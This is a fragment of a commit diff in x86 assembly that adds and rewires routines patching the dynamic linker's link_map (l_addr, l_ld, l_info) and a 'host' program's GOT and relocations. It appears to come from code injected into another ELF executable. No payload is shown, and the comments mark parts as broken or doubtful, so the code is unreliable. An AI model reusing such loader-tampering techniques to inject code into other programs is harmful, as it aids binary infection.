3333 global get_base_pie
3434 global do_patch_pie
3535 global patch_host_dynamic_reloc
36+ global patch_l_info
3637
3738 extern _DYNAMIC
3839 extern _GLOBAL_OFFSET_TABLE_
@@ -163,7 +164,7 @@ patch_link_map:
163164 call get_dynamic_pie
164165 mov [ ecx + 8 ], eax ;link_map[0].l_ld = my_dynamic_section
165166 call get_base_pie
166- ;; mov [ecx], eax ;link_map[0].l_addr= my_base_load
167+ mov [ ecx ], eax ;link_map[0].l_addr= my_base_load
167168
168169 ;; link_map[0].l_addr is used as an offset into the GOT
169170 ;; 0xb7fec2df <_dl_fixup+271>: mov DWORD PTR [edx+ebp*1],eax
@@ -335,13 +336,16 @@ start_main_wrapper_alt:
335336
336337do_patch_pie:
337338 call patchmygotpie
338- ;;call fixdynamicpie
339- call patch_host_dynamic_reloc
340- ;; call patch_link_map ; does this even do anything?
339+ call fixdynamicpie
340+ ;; call patch_host_dynamic_reloc
341+ call patch_link_map ; does this even do anything?
342+ call patch_l_info
341343 ret
342344
343345
344- %define RELOC 17
346+ %define RELOC 0x17
347+ ;; this function is bad.
348+ ;; the reloc section of the host is not writable
345349patch_host_dynamic_reloc:
346350 call get_link_map ; get host got
347351 mov eax ,[ eax + 8 ] ; eax has the got
@@ -362,6 +366,36 @@ patch_host_dynamic_reloc:
362366 mov [ ecx + 4 ], eax ;patch it!
363367 ret
364368
365-
369+
370+ ;; the structure we're looking to patch
371+ ;; is located directly behind the first element
372+ ;; of the link_map linked list
373+ ;; the index of pointers in this list coresponds
374+ ;; to the magic value inside the .dynamic section
375+ patch_l_info:
376+ call get_link_map
377+ add eax , 0x20
378+ mov edx , eax
379+ call get_dynamic_pie
380+ .begin:
381+ mov ecx ,[ eax ] ;grab element from dynamic
382+ test ecx , ecx
383+ jz patch_l_info.done
384+ ;;
385+ cmp ecx , 32
386+ ;;
387+ jb patch_l_info.patch
388+ ;; cmp ecx,RELOC
389+ ;; jz patch_l_info.patch
390+ add eax , 8 ;walk dynamic
391+ jmp patch_l_info.begin
392+ .patch:
393+ shl ecx , 2
394+ mov [ edx + ecx ], eax ;index l_info with ecx
395+ add eax , 8
396+ jmp patch_l_info.begin
397+ .done:
398+ ret
399+
366400
367401
0 commit comments